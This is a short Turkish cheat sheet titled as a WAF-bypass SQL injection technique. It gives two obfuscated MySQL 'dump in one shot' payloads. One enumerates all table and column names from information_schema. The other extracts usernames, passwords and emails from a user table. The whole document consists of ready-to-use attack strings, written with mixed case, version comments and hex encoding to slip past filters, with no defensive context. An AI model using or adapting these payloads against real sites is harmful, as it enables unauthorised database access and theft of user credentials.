DİOS WAF Sql İnjection Bypass

 TABLO ADI VE KOLON ADI BİLGİLERİNİ ÇIKARIR

(SeLecT(@x)FrOm(SeLecT(@x:=0x00),(SeLecT(@x)FrOm(/*!50000iNfoRMaTioN_ScHeMa.coLumNs*/)wHeRe(TaBLe_ScHeMa!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=/*!50000CoNcaT*/(@x,0x3c62723e,TaBLe_NaMe,0x203a3a20,CoLumN_NaMe))))x)

KOLONDAKİ BİLGİLERİ ÇEKER

(SeLecT(@x)FrOm(SeLecT(@x:=0x00),(SeLecT(@x)FrOm(usercontrol)wHeRe(0x00)in(@x:=/*!50000CoNcaT*/(@x,0x3c62723e,kulladi,0x203a3a20,kullsif,0x203a3a20,email))))x)